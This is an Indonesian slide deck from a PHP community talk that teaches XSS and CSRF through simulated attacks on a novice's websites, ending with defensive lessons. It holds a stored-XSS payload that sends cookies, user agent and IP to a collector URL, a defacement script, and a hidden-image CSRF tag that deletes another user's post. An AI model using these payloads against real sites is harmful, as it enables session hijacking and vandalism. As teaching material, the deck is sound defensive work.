SlideShare a Scribd company logo
1 of 32
Download to read offline
XSS & CSRF
MEMAHAMI SERANGAN
RIO ASTAMAL
Founder BelajarAWS.com
DENGAN SIMULASI STUDI KASUS
30 April 2021 16:30
PHPID-OL#92
https://learning.byphp.id/
RIO ASTAMAL
2020 AWS Community Builder (ID)

2020 Writer TeknoCerdas.com (ID)

2017 Lead Backend @ClearView.team (US)

2016 Founder BelajarAWS.com (ID)

2015 Lead Dev @DominoPOS (SG)

2014 System Engineer @WowRack (US/ID)

2004 Freelance Web Developer
■ Masih aktif hingga sekarang
APA YANG DIPELAJARI?
+ Pengertian XSS dan CSRF

+ Demo simulasi XSS dan CSRF

+ Cara menghindari XSS dan CSRF
beginner - intermediate
APA ITU
CROSS-SITE SCRIPTING (XSS)?
CELAH KEAMANAN YANG
MEMBUAT PENYERANG DAPAT
MENGEKSEKUSI KODE
JAVASCRIPT PADA HALAMAN
YANG DIBUKA OLEH KORBAN.
CROSS SITE SCRIPTING (XSS)
https://example.com/save/?error=invalid%20username
Gambar diambil dari portswigger.net
REFLECTED XSS
https://example.com/product/?id=pid
STORED XSS
https://example.com/product/?id=<script>evil</script>
<label><?php echo $data[‘name’] ?></label>
DOM BASED XSS
elem.innerHTML = $('#mydiv').attr('data-text');
<div id="mydiv" data-text="<script>xss()</script>">
From DB
APA ITU
CROSS-SITE REQUEST FORGERY
(CSRF)?
CELAH KEAMANAN YANG
MEMBUAT KORBAN MELAKUKAN
AKSI PADA SUATU WEBSITE
YANG DIINGINKAN PENYERANG
TANPA KORBAN MENYADARINYA.
CROSS SITE REQUEST FORGERY (CSRF)
Gambar diambil dari portswigger.net
DEMO
XSS & CSRF
SIMULASI SERANGAN AKAN DILAKUKAN PADA WEBSITE
MILIK DARI MAS JOHN
SIAPA MAS JOHN?
DIA ADALAH SEORANG YANG BARU BELAJAR
WEB PROGRAMMING. KEBETULAN DIA
MENGGUNAKAN PHP SEBAGAI BAHASA
PEMROGRAMAN YANG DIGUNAKAN.



KARENA MASIH AWAM, BANYAK ASPEK
KEAMANAN WEB YANG DIA TIDAK KETAHUI
SEHINGGA MENINGGALKAN BANYAK CELAH XSS
DAN CSRF DI WEBSITE YANG DIA BUAT.
SIMULASI #1 - SESSION HIJACKING
MAS JOHN MEMILIKI SEBUAH PERSONAL WEBSITE. PADA
WEBSITE TERSEBUT MAS JOHN MEMBUAT HALAMAN
PORTFOLIO DAN HALAMAN CONTACT US.
PENGUNJUNG DAPAT MENGIRIMKAN PESAN PADA MAS
JOHN PADA HALAMAN CONTACT US. SEMUA PESAN YANG
MASUK DAPAT DILIHAT MAS JOHN DI ADMIN AREA.



KARENA AWAM, MAS JOHN TERLALU NAIF DENGAN TIDAK
MELAKUKAN SANITASI OUTPUT PADA ADMIN AREA KETIKA
MEMUNCULKAN LIST PESAN MASUK JADILAH DIA KORBAN
SERANGAN XSS DAN WEBSITENYA KENA DEFACE OLEH
HACKER TIDAK BERTANGGUNG JAWAB.
MEMULAI SERANGAN XSS KE
PERSONAL WEBSITE MAS JOHN
(1) ANALISA KELEMAHAN
WEBSITE DARI MAS JOHN SANGAT SEDERHANA
DAN TERLIHAT SEPERTI HANYA TERDIRI DARI
SEBUAH HALAMAN SAJA. TIDAK ADA HALAMAN
LAIN SELAIN HOME.
SATU-SATUNYA KEMUNGKINAN KELEMAHAN
YANG ADA ADALAH CONTACT US. ITU PUN JIKA
PESAN YANG MASUK DISIMPAN DALAM
DATABASE. JIKA PESAN MASUK LANGSUNG
DIKIRIMKAN KE EMAIL MAKA SEMAKIN KECIL
KEMUNGKINAN SERANGAN YANG DILAKUKAN.
(2) MENCOBA SERANGAN XSS
SERANGAN XSS AKAN DILAKUKAN PADA FIELD “NAMA”. DIMANA AKAN DITAMBAHKAN
JAVASCRIPT YANG AKAN MENGOLEKSI DATA BERUPA: UA, COOKIE, IP ADDR DAN AKAN
DIKIRIMKAN KE WEBSITE DARI HACKER.
(3) PAYLOAD XSS
Pak Budi Baik<script>
var getTheirIp = function(onDone) {
var ajax = new XMLHttpRequest();
ajax.addEventListener('load', function(e) {
onDone(this.responseText.replace("n", ""));
});
ajax.open('GET', 'https://wtfismyip.com/text');
ajax.send();
};
var postToMe = function(ipAddr) {
var data = {
UA: navigator.userAgent,
Cookie: document.cookie,
URL: location.href,
TheirIP: ipAddr
};
var ajax = new XMLHttpRequest();
var targetUrl = 'http://127.0.0.1:9091/collect/?data=' + JSON.stringify(data);
ajax.open('GET', targetUrl);
ajax.send();
};
getTheirIp( postToMe );
</script>
(4) MENUNGGU KABAR BAIK
SAAT INI YANG DAPAT DILAKUKAN PENYERANG/HACKER ADALAH
MENUNGGU MAS JOHN UNTUK MEMBUKA DAFTAR PESAN YANG
MASUK. (ASUMSI LEWAT ADMIN AREA).
JIKA TERJADI DAN PAYLOAD XSS BERHASIL TEREKSEKUSI MAKA
HACKER MEMILIKI DATA-DATA PENTING DARI ADMIN AREA TERUTAMA
COOKIE YANG DIGUNAKAN OLEH MAS JOHN. COOKIE INILAH YANG
AKAN DIGUNAKAN UNTUK MELAKUKAN SESSION HIJACKING.
(5) MAS JOHN MEMBUKA PESAN
WEBSITE MAS JOHN
MEMILIKI ADMIN AREA YANG
DIGUNAKAN UNTUK
MENGELOLA PORTFOLIO DAN
MENAMPILKAN PESAN YANG
MASUK.
KEBETULAN MAS JOHN
MELIHAT PESAN YANG MASUK
YANG DIKIRIMKAN OLEH
HACKER. APA YANG TERJADI?
(6) HACKER MENDAPATKAN DATA
KETIKA MAS JOHN MEMBUKA PESAN MASUK. OTOMATIS BEBERAPA DATA
DIKIRIMKAN DIBALIK LAYAR OLEH JAVASCRIPT KE WEBSITE HACKER.
TERMASUK COOKIE.
(7) HACKER MELAKUKAN SESSION HIJACKING
DENGAN DATA COOKIE YANG DITERIMA MAKA HACKER MENCOBA MELAKUKAN
SESSION HIJACKING. JIKA MAS JOHN TIDAK MELAKUKAN VERIFIKASI IP
ADDRESS PADA SESSION MAKA SESSION HIJACKING AKAN BERHASIL.
(8) HACKER MENDAPAT AKSES ADMIN
DENGAN MENDAPAT AKSES ADMIN MAKA HACKER BISA MENGUBAH BANYAK HAL DI WEBSITE MAS
JOHN. SALAH SATUNYA ADALAH KONTEN PORTFOLIONYA. BERUNTUNGNYA ITU ADALAH SATUNYA HAL
YANG DAPAT DIUBAH OLEH HACKER. DAN DIA KEMUDIAN MENCOBA MELAKUKAN DEFACE WEBSITE
MAS JOHN MENGGUNAKAN KONTEN PORTFOLIO YANG ADA.
Puisi kita adalah sebuab website kolaborasi tulisan antar seniman
puisi. Pengguna dapat mengirimkan puisi dan memberikan tanggapan pada
setiap puisi yang ada.
<script>
var body = '<div style="text-align:center;margin-top:
100px;"><h2>Hacked by Mas Kher</h2><p>Special thanks to 4L4Y_N4ME.</
p></div>';
document.body.innerHTML = body;
document.body.style.color = 'white';
document.body.style.backgroundColor = '#111111';
</script>
(9) WEBSITE MAS JOHN TER-DEFACE
HASIL DARI INJEKSI SCRIPT
PADA KONTEN PORTFOLIO
MENGHASILKAN TAMPILAN
DENGAN BACKGROUND HITAM.
MESKIPUN SEBENARNYA
HACKER DAPAT MENGHAPUS
ISI DARI PORTFOLIO MAS
JOHN NAMUN DIA
MEMUTUSKAN UNTUK
MELAKUKAN DEFACE SAJA.
PELAJARAN APA YANG BISA DIAMBIL
DARI KASUS WEBSITE MAS JOHN INI?
1. JANGAN PERNAH PERCAYA INPUTAN USER
2. JIKA MULAI PERCAYA INPUTAN USER, PERGI KE #1
3. SELALU SANITASI OUTPUT YANG AKAN DITAMPILKAN MESKIPUN
ITU DARI SUMBER TERCPERCAYA. GUNAKAN FUNGSI HTMLENTITIES() /
HTMLSPECIALCHARS() DENGAN OPSI ENT_QUOTES.
4. SELALU GUNAKAN HTTP ONLY COOKIE YANG DISUPPORT MODERN
BROWSER AGAR COOKIE TIDAK BISA DIAMBIL LEWAT JAVASCRIPT.
5. SELALU CHECK ORIGIN IP DARI SESSION UNTUK MEMPERKECIL
PELUANG SESSION HIJACKING.
SIMULASI #2 - HAPUS PUISI VIA CSRF
MAS JOHN MENDAPAT JOB YAITU MEMBUAT WEBSITE TENTANG
KOMUNITAS PUISI. WEBSITE ITU BERNAMA “PUISI KITA”.
BELAJAR DARI PENGALAMAN XSS SEBELUMNYA KINI MAS JOHN
LEBIH HATI-HATI DALAM MEMBANGUN WEBSITE. SEMUA OUTPUT
DIA SANITASI MENGGUNAKAN FUNGSI HTMLENTITIES().
NAMUN KARENA MEMANG MASIH NEWBIE DIA BELUM PAHAM
TENTANG CELAH CSRF. PADA WEBSITE BARU YAITU PUISI KITA
MESKIPUN SUDAH AMAN DARI XSS TERNYATA WEBSITE ITU BELUM
AMAN DARI SERANGAN CSRF.
CELAH ITU DIMANFAATKAN OLEH MAS KHER SEORANG ANGGOTA
PUISI KITA YANG INGIN MENYINGKIRKAN PUISI MAS BOY SEBAGAI
PUISI TERPOPULER PILIHAN PENGGUNA. SERANGAN INI SUKSES
JIKA PUISI DARI MAS BOY TERHAPUS LEWAT SERANGAN CSRF.
(1) ANALISA KELEMAHAN
INTI DARI SERANGAN INI ADALAH MENGHAPUS PUISI DARI
MAS BOY SEHINGGA TIDAK BISA MENJADI PUISI
TERPOPULER.
KARENA MAS KHER JUGA MERUPAKAN MEMBER PUISI KITA
MAKA DIA MENGANALISA KELEMAHAN DARI METODE HAPUS
PUISI PADA HALAMAN “PUISIKU”.
TERNYATA DIA MENEMUKAN SAAT MELAKUKAN
PENGHAPUSAN PUISI SISTEM TIDAK MENGGUNAKAN CSRF
TOKEN SEHINGGA KETIKA URL HAPUS PUISI TERSEBUT
DIEKSEKUSI OLEH PENGGUNA YANG LOGIN, SISTEM AKAN
MENGANGGAP REQUEST TERSEBUT VALID DAN PUISI AKAN
DIHAPUS.
GET /PUISIKU/?ID=<ID_PUISI>&DELETE
(2) FAKE SITE UNTUK CSRF
SERANGAN CSRF BIASANYA BERHUBUNGAN ERAT DENGAN
SOCIAL ENGINEERING. DIMANA KORBAN DIBAWA KE WEBSITE
KHUSUS AGAR MENGEKSEKUSI URL YANG DITARGET. PADA
WEBSITE “PUISI KITA” URL YANG MENJADI TARGET ADALAH
HAPUS PUISI.
SEKILAS TIDAK ADA YANG ANEH PADA HALAMAN PUISI
TERSEBUT. NAMUN ADA JIKA KODE SUMBER HTML DITAMPILKAN
MAKA ADA SEBUAH TAG <IMG> TAK TERLIHAT YANG SENGAJA
DITEMPATKAN UNTUK MEMANGGIL URL HAPUS PUISI YAITU:
GET /PUISIKU/?ID=<ID_PUISI>&DELETE
ID_PUISI YANG MENJADI TARGET ADALAH ID PUISI MILIK MAS
BOY YANG BERJUDUL “NUSANTARA TERCINTA”.
<img src="http://hostname/
puisiku/?id=HASH&delete"
style="visibility:hidden;">
(3) SOCIAL ENGINEERING
LANGKAH PENTING BERIKUTNYA YANG DILAKUKAN MAS
KHER ADALAH MELAKUKAN SOCIAL ENGINEERING AGAR
MAS BOY DAPAT MENGUNJUNGI FAKE SITE YANG DIBUAT.
MAS KHER BERINISIATIF UNTUK MELAKUKAN
BROADCAST MESSAGE KE WHATSAPP GROUP
“KOMUNITAS PUISI” DIMANA MAS BOY JUGA IKUT
DIDALAMNYA.
TENTU DENGAN HARAPAN MAS BOY AKAN TERTARIK
MEMBACA DAN MEMBUKA FAKE SITE TERSEBUT.
SERANGAN INI SIFATNYA SPEKULATIF, DAN HANYA AKAN
BERHASIL JIKA MAS BOY SEBELUMNYA BELUM LOGOUT
DARI WEBSITE PUISI KITA.
(4) MENUNGGU KABAR BAIK
SETELAH MENYEBAR BROADCAST DI WA GROUP MAKA YANG DILAKUKAN MAS KHER ADALAH
WAIT AND SEE. JIKA MAS BOY MENGUNJUNGI FAKE SITE YANG DIBUAT DAN KONDISI DIA
BELUM LOGOUT DARI WEBSITE “PUISI KITA” MAKA SERANGAN CSRF BERHASIL DILAKUKAN.
KEBERHASILAN TERSEBUT DIINDIKASIKAN DENGAN HILANGNYA PUISI MAS BOY
“NUSANTARA TERCINTA” DARI DAFTAR PUISI POPULER YANG ADA DIHALAMAN DEPAN
WEBSITE “PUISI KITA”.
DAN URUTAN PERTAMA DIGANTIKAN OLEH PUISI MAS KHER BERJUDUL “KEINDAHAN ALAM
INI”.
SERANGAN INI TIDAK BERDAMPAK APAPUN PADA PENGGUNA PUISI KITA LAIN SEPERTI CAK
LONTONG KARENA MAS KHER HANYA MENTARGET SECARA SPESIFIK ID DARI PUISI MAS BOY.
(5) PUISI MAS BOY TERHAPUS
NAMPAKNYA SERANGAN CSRF
YANG DIRANCANG OLEH MAS KHER
BERHASIL. HAL ITU DITANDAI
DENGAN PUISINYA BERTENGGER DI
PUNCAK PUISI TERPOPULER.
PELAJARAN APA YANG BISA DIAMBIL
DARI KASUS WEBSITE PUISI KITA?
1. SELALU GUNAKAN CSRF TOKEN YANG UNIK PADA REQUEST YANG
MENGUBAH SEBUAH DATA. INI ADALAH PERTAHANAN TERPENTING.
2. GUNAKAN HTTP METHOD “POST” UNTUK MELAKUKAN PERUBAHAN
DATA. CSRF LEBIH MUDAH DILAKUKAN PADA “GET” TERLEBIH JIKA
BROWSER YANG DIGUNAKAN TIDAK AMAN.
3. BATASI EXPIRES DARI SESSION DALAM WAKTU TERTENTU SEHINGGA
JIKA USER LUPA LOGOUT MAKA SESSION SUDAH TIDAK VALID.
4. EDUKASI USER UNTUK MELAKUKAN UPGRADE BROWSER KE VERSI
YANG AMAN YAITU MENDUKUNG FITUR SAMESITE COOKIES DAN
SAMEORIGIN.
./END
Rio Astamal
rioastamal
rioastamal.net
rio@rioastamal.net
Gambar icon diambil dari Flaticon.com
Presentasi ini juga dapat dilihat pada rioastamal.net/presentasi/2021/04/
Kode pada presentasi ini dapat dilihat pada github.com/rioastamal-examples/phpid-xss-csrf-simulation/
Simulasi hacking lainnya dapat dicoba di abwh.rioastamal.net

More Related Content

What's hot

OSINT For Cyber Threat Inteligence
OSINT For Cyber Threat InteligenceOSINT For Cyber Threat Inteligence
OSINT For Cyber Threat InteligenceRichy Hendra
 
Hacklenmiş Web Sunucu Analizi
Hacklenmiş Web Sunucu AnaliziHacklenmiş Web Sunucu Analizi
Hacklenmiş Web Sunucu AnaliziBGA Cyber Security
 
Log Yönetimi ve Saldırı Analizi Eğitimi -1
Log Yönetimi ve Saldırı Analizi Eğitimi -1Log Yönetimi ve Saldırı Analizi Eğitimi -1
Log Yönetimi ve Saldırı Analizi Eğitimi -1BGA Cyber Security
 
Splunk Phantom SOAR Roundtable
Splunk Phantom SOAR RoundtableSplunk Phantom SOAR Roundtable
Splunk Phantom SOAR RoundtableSplunk
 
İnternet Üzerinde Anonimlik ve Tespit Yöntemleri
İnternet Üzerinde Anonimlik ve Tespit Yöntemleriİnternet Üzerinde Anonimlik ve Tespit Yöntemleri
İnternet Üzerinde Anonimlik ve Tespit YöntemleriBGA Cyber Security
 
커머스 스타트업의 효율적인 데이터 분석 플랫폼 구축기 - 하지양 데이터 엔지니어, 발란 / 강웅석 데이터 엔지니어, 크로키닷컴 :: AWS...
커머스 스타트업의 효율적인 데이터 분석 플랫폼 구축기 - 하지양 데이터 엔지니어, 발란 / 강웅석 데이터 엔지니어, 크로키닷컴 :: AWS...커머스 스타트업의 효율적인 데이터 분석 플랫폼 구축기 - 하지양 데이터 엔지니어, 발란 / 강웅석 데이터 엔지니어, 크로키닷컴 :: AWS...
커머스 스타트업의 효율적인 데이터 분석 플랫폼 구축기 - 하지양 데이터 엔지니어, 발란 / 강웅석 데이터 엔지니어, 크로키닷컴 :: AWS...Amazon Web Services Korea
 
Secure Coding principles by example: Build Security In from the start - Carlo...
Secure Coding principles by example: Build Security In from the start - Carlo...Secure Coding principles by example: Build Security In from the start - Carlo...
Secure Coding principles by example: Build Security In from the start - Carlo...Codemotion
 
Windows Sistemler için Sysmon ve Wazuh Kullanarak Mitre ATT&CK Kurallarının ...
Windows Sistemler için Sysmon ve Wazuh Kullanarak  Mitre ATT&CK Kurallarının ...Windows Sistemler için Sysmon ve Wazuh Kullanarak  Mitre ATT&CK Kurallarının ...
Windows Sistemler için Sysmon ve Wazuh Kullanarak Mitre ATT&CK Kurallarının ...BGA Cyber Security
 
API Security - OWASP top 10 for APIs + tips for pentesters
API Security - OWASP top 10 for APIs + tips for pentestersAPI Security - OWASP top 10 for APIs + tips for pentesters
API Security - OWASP top 10 for APIs + tips for pentestersInon Shkedy
 
OWASP Secure Coding
OWASP Secure CodingOWASP Secure Coding
OWASP Secure Codingbilcorry
 
OWASP Top 10 Vulnerabilities - A5-Broken Access Control; A6-Security Misconfi...
OWASP Top 10 Vulnerabilities - A5-Broken Access Control; A6-Security Misconfi...OWASP Top 10 Vulnerabilities - A5-Broken Access Control; A6-Security Misconfi...
OWASP Top 10 Vulnerabilities - A5-Broken Access Control; A6-Security Misconfi...Lenur Dzhemiliev
 
Log correlation SIEM rule examples and correlation engine performance data
Log correlation SIEM rule examples and correlation engine  performance dataLog correlation SIEM rule examples and correlation engine  performance data
Log correlation SIEM rule examples and correlation engine performance dataErtugrul Akbas
 
OWASP Top 10 2021 Presentation (Jul 2022)
OWASP Top 10 2021 Presentation (Jul 2022)OWASP Top 10 2021 Presentation (Jul 2022)
OWASP Top 10 2021 Presentation (Jul 2022)TzahiArabov
 
Azure Penetration Testing
Azure Penetration TestingAzure Penetration Testing
Azure Penetration TestingCheah Eng Soon
 
Zararlı Yazılım Analizi İçin Lab Ortamı Hazırlamak
Zararlı Yazılım Analizi İçin Lab Ortamı HazırlamakZararlı Yazılım Analizi İçin Lab Ortamı Hazırlamak
Zararlı Yazılım Analizi İçin Lab Ortamı HazırlamakBGA Cyber Security
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 1, 2, 3
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 1, 2, 3Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 1, 2, 3
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 1, 2, 3BGA Cyber Security
 
Log Yonetimi ve SIEM Kontrol Listesi
Log Yonetimi ve SIEM Kontrol Listesi Log Yonetimi ve SIEM Kontrol Listesi
Log Yonetimi ve SIEM Kontrol Listesi Ertugrul Akbas
 

What's hot (20)

OSINT For Cyber Threat Inteligence
OSINT For Cyber Threat InteligenceOSINT For Cyber Threat Inteligence
OSINT For Cyber Threat Inteligence
 
Hacklenmiş Web Sunucu Analizi
Hacklenmiş Web Sunucu AnaliziHacklenmiş Web Sunucu Analizi
Hacklenmiş Web Sunucu Analizi
 
Log Yönetimi ve Saldırı Analizi Eğitimi -1
Log Yönetimi ve Saldırı Analizi Eğitimi -1Log Yönetimi ve Saldırı Analizi Eğitimi -1
Log Yönetimi ve Saldırı Analizi Eğitimi -1
 
Splunk Phantom SOAR Roundtable
Splunk Phantom SOAR RoundtableSplunk Phantom SOAR Roundtable
Splunk Phantom SOAR Roundtable
 
jaws aws-nuke
jaws aws-nukejaws aws-nuke
jaws aws-nuke
 
İnternet Üzerinde Anonimlik ve Tespit Yöntemleri
İnternet Üzerinde Anonimlik ve Tespit Yöntemleriİnternet Üzerinde Anonimlik ve Tespit Yöntemleri
İnternet Üzerinde Anonimlik ve Tespit Yöntemleri
 
커머스 스타트업의 효율적인 데이터 분석 플랫폼 구축기 - 하지양 데이터 엔지니어, 발란 / 강웅석 데이터 엔지니어, 크로키닷컴 :: AWS...
커머스 스타트업의 효율적인 데이터 분석 플랫폼 구축기 - 하지양 데이터 엔지니어, 발란 / 강웅석 데이터 엔지니어, 크로키닷컴 :: AWS...커머스 스타트업의 효율적인 데이터 분석 플랫폼 구축기 - 하지양 데이터 엔지니어, 발란 / 강웅석 데이터 엔지니어, 크로키닷컴 :: AWS...
커머스 스타트업의 효율적인 데이터 분석 플랫폼 구축기 - 하지양 데이터 엔지니어, 발란 / 강웅석 데이터 엔지니어, 크로키닷컴 :: AWS...
 
Secure Coding principles by example: Build Security In from the start - Carlo...
Secure Coding principles by example: Build Security In from the start - Carlo...Secure Coding principles by example: Build Security In from the start - Carlo...
Secure Coding principles by example: Build Security In from the start - Carlo...
 
Windows Sistemler için Sysmon ve Wazuh Kullanarak Mitre ATT&CK Kurallarının ...
Windows Sistemler için Sysmon ve Wazuh Kullanarak  Mitre ATT&CK Kurallarının ...Windows Sistemler için Sysmon ve Wazuh Kullanarak  Mitre ATT&CK Kurallarının ...
Windows Sistemler için Sysmon ve Wazuh Kullanarak Mitre ATT&CK Kurallarının ...
 
Security in NodeJS applications
Security in NodeJS applicationsSecurity in NodeJS applications
Security in NodeJS applications
 
API Security - OWASP top 10 for APIs + tips for pentesters
API Security - OWASP top 10 for APIs + tips for pentestersAPI Security - OWASP top 10 for APIs + tips for pentesters
API Security - OWASP top 10 for APIs + tips for pentesters
 
OWASP Secure Coding
OWASP Secure CodingOWASP Secure Coding
OWASP Secure Coding
 
OWASP Top 10 Vulnerabilities - A5-Broken Access Control; A6-Security Misconfi...
OWASP Top 10 Vulnerabilities - A5-Broken Access Control; A6-Security Misconfi...OWASP Top 10 Vulnerabilities - A5-Broken Access Control; A6-Security Misconfi...
OWASP Top 10 Vulnerabilities - A5-Broken Access Control; A6-Security Misconfi...
 
Cyber Kill Chain
Cyber Kill ChainCyber Kill Chain
Cyber Kill Chain
 
Log correlation SIEM rule examples and correlation engine performance data
Log correlation SIEM rule examples and correlation engine  performance dataLog correlation SIEM rule examples and correlation engine  performance data
Log correlation SIEM rule examples and correlation engine performance data
 
OWASP Top 10 2021 Presentation (Jul 2022)
OWASP Top 10 2021 Presentation (Jul 2022)OWASP Top 10 2021 Presentation (Jul 2022)
OWASP Top 10 2021 Presentation (Jul 2022)
 
Azure Penetration Testing
Azure Penetration TestingAzure Penetration Testing
Azure Penetration Testing
 
Zararlı Yazılım Analizi İçin Lab Ortamı Hazırlamak
Zararlı Yazılım Analizi İçin Lab Ortamı HazırlamakZararlı Yazılım Analizi İçin Lab Ortamı Hazırlamak
Zararlı Yazılım Analizi İçin Lab Ortamı Hazırlamak
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 1, 2, 3
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 1, 2, 3Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 1, 2, 3
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 1, 2, 3
 
Log Yonetimi ve SIEM Kontrol Listesi
Log Yonetimi ve SIEM Kontrol Listesi Log Yonetimi ve SIEM Kontrol Listesi
Log Yonetimi ve SIEM Kontrol Listesi
 

Memahami Serangan XSS dan CSRF dengan Simulasi Studi Kasus

  • 1. XSS & CSRF MEMAHAMI SERANGAN RIO ASTAMAL Founder BelajarAWS.com DENGAN SIMULASI STUDI KASUS 30 April 2021 16:30 PHPID-OL#92 https://learning.byphp.id/
  • 2. RIO ASTAMAL 2020 AWS Community Builder (ID)
 2020 Writer TeknoCerdas.com (ID)
 2017 Lead Backend @ClearView.team (US)
 2016 Founder BelajarAWS.com (ID)
 2015 Lead Dev @DominoPOS (SG)
 2014 System Engineer @WowRack (US/ID)
 2004 Freelance Web Developer ■ Masih aktif hingga sekarang
  • 3. APA YANG DIPELAJARI? + Pengertian XSS dan CSRF
 + Demo simulasi XSS dan CSRF
 + Cara menghindari XSS dan CSRF beginner - intermediate
  • 5. CELAH KEAMANAN YANG MEMBUAT PENYERANG DAPAT MENGEKSEKUSI KODE JAVASCRIPT PADA HALAMAN YANG DIBUKA OLEH KORBAN. CROSS SITE SCRIPTING (XSS) https://example.com/save/?error=invalid%20username Gambar diambil dari portswigger.net
  • 6. REFLECTED XSS https://example.com/product/?id=pid STORED XSS https://example.com/product/?id=<script>evil</script> <label><?php echo $data[‘name’] ?></label> DOM BASED XSS elem.innerHTML = $('#mydiv').attr('data-text'); <div id="mydiv" data-text="<script>xss()</script>"> From DB
  • 7. APA ITU CROSS-SITE REQUEST FORGERY (CSRF)?
  • 8. CELAH KEAMANAN YANG MEMBUAT KORBAN MELAKUKAN AKSI PADA SUATU WEBSITE YANG DIINGINKAN PENYERANG TANPA KORBAN MENYADARINYA. CROSS SITE REQUEST FORGERY (CSRF) Gambar diambil dari portswigger.net
  • 9. DEMO XSS & CSRF SIMULASI SERANGAN AKAN DILAKUKAN PADA WEBSITE MILIK DARI MAS JOHN
  • 10. SIAPA MAS JOHN? DIA ADALAH SEORANG YANG BARU BELAJAR WEB PROGRAMMING. KEBETULAN DIA MENGGUNAKAN PHP SEBAGAI BAHASA PEMROGRAMAN YANG DIGUNAKAN.
 
 KARENA MASIH AWAM, BANYAK ASPEK KEAMANAN WEB YANG DIA TIDAK KETAHUI SEHINGGA MENINGGALKAN BANYAK CELAH XSS DAN CSRF DI WEBSITE YANG DIA BUAT.
  • 11. SIMULASI #1 - SESSION HIJACKING MAS JOHN MEMILIKI SEBUAH PERSONAL WEBSITE. PADA WEBSITE TERSEBUT MAS JOHN MEMBUAT HALAMAN PORTFOLIO DAN HALAMAN CONTACT US. PENGUNJUNG DAPAT MENGIRIMKAN PESAN PADA MAS JOHN PADA HALAMAN CONTACT US. SEMUA PESAN YANG MASUK DAPAT DILIHAT MAS JOHN DI ADMIN AREA.
 
 KARENA AWAM, MAS JOHN TERLALU NAIF DENGAN TIDAK MELAKUKAN SANITASI OUTPUT PADA ADMIN AREA KETIKA MEMUNCULKAN LIST PESAN MASUK JADILAH DIA KORBAN SERANGAN XSS DAN WEBSITENYA KENA DEFACE OLEH HACKER TIDAK BERTANGGUNG JAWAB.
  • 12. MEMULAI SERANGAN XSS KE PERSONAL WEBSITE MAS JOHN
  • 13. (1) ANALISA KELEMAHAN WEBSITE DARI MAS JOHN SANGAT SEDERHANA DAN TERLIHAT SEPERTI HANYA TERDIRI DARI SEBUAH HALAMAN SAJA. TIDAK ADA HALAMAN LAIN SELAIN HOME. SATU-SATUNYA KEMUNGKINAN KELEMAHAN YANG ADA ADALAH CONTACT US. ITU PUN JIKA PESAN YANG MASUK DISIMPAN DALAM DATABASE. JIKA PESAN MASUK LANGSUNG DIKIRIMKAN KE EMAIL MAKA SEMAKIN KECIL KEMUNGKINAN SERANGAN YANG DILAKUKAN.
  • 14. (2) MENCOBA SERANGAN XSS SERANGAN XSS AKAN DILAKUKAN PADA FIELD “NAMA”. DIMANA AKAN DITAMBAHKAN JAVASCRIPT YANG AKAN MENGOLEKSI DATA BERUPA: UA, COOKIE, IP ADDR DAN AKAN DIKIRIMKAN KE WEBSITE DARI HACKER.
  • 15. (3) PAYLOAD XSS Pak Budi Baik<script> var getTheirIp = function(onDone) { var ajax = new XMLHttpRequest(); ajax.addEventListener('load', function(e) { onDone(this.responseText.replace("n", "")); }); ajax.open('GET', 'https://wtfismyip.com/text'); ajax.send(); }; var postToMe = function(ipAddr) { var data = { UA: navigator.userAgent, Cookie: document.cookie, URL: location.href, TheirIP: ipAddr }; var ajax = new XMLHttpRequest(); var targetUrl = 'http://127.0.0.1:9091/collect/?data=' + JSON.stringify(data); ajax.open('GET', targetUrl); ajax.send(); }; getTheirIp( postToMe ); </script>
  • 16. (4) MENUNGGU KABAR BAIK SAAT INI YANG DAPAT DILAKUKAN PENYERANG/HACKER ADALAH MENUNGGU MAS JOHN UNTUK MEMBUKA DAFTAR PESAN YANG MASUK. (ASUMSI LEWAT ADMIN AREA). JIKA TERJADI DAN PAYLOAD XSS BERHASIL TEREKSEKUSI MAKA HACKER MEMILIKI DATA-DATA PENTING DARI ADMIN AREA TERUTAMA COOKIE YANG DIGUNAKAN OLEH MAS JOHN. COOKIE INILAH YANG AKAN DIGUNAKAN UNTUK MELAKUKAN SESSION HIJACKING.
  • 17. (5) MAS JOHN MEMBUKA PESAN WEBSITE MAS JOHN MEMILIKI ADMIN AREA YANG DIGUNAKAN UNTUK MENGELOLA PORTFOLIO DAN MENAMPILKAN PESAN YANG MASUK. KEBETULAN MAS JOHN MELIHAT PESAN YANG MASUK YANG DIKIRIMKAN OLEH HACKER. APA YANG TERJADI?
  • 18. (6) HACKER MENDAPATKAN DATA KETIKA MAS JOHN MEMBUKA PESAN MASUK. OTOMATIS BEBERAPA DATA DIKIRIMKAN DIBALIK LAYAR OLEH JAVASCRIPT KE WEBSITE HACKER. TERMASUK COOKIE.
  • 19. (7) HACKER MELAKUKAN SESSION HIJACKING DENGAN DATA COOKIE YANG DITERIMA MAKA HACKER MENCOBA MELAKUKAN SESSION HIJACKING. JIKA MAS JOHN TIDAK MELAKUKAN VERIFIKASI IP ADDRESS PADA SESSION MAKA SESSION HIJACKING AKAN BERHASIL.
  • 20. (8) HACKER MENDAPAT AKSES ADMIN DENGAN MENDAPAT AKSES ADMIN MAKA HACKER BISA MENGUBAH BANYAK HAL DI WEBSITE MAS JOHN. SALAH SATUNYA ADALAH KONTEN PORTFOLIONYA. BERUNTUNGNYA ITU ADALAH SATUNYA HAL YANG DAPAT DIUBAH OLEH HACKER. DAN DIA KEMUDIAN MENCOBA MELAKUKAN DEFACE WEBSITE MAS JOHN MENGGUNAKAN KONTEN PORTFOLIO YANG ADA. Puisi kita adalah sebuab website kolaborasi tulisan antar seniman puisi. Pengguna dapat mengirimkan puisi dan memberikan tanggapan pada setiap puisi yang ada. <script> var body = '<div style="text-align:center;margin-top: 100px;"><h2>Hacked by Mas Kher</h2><p>Special thanks to 4L4Y_N4ME.</ p></div>'; document.body.innerHTML = body; document.body.style.color = 'white'; document.body.style.backgroundColor = '#111111'; </script>
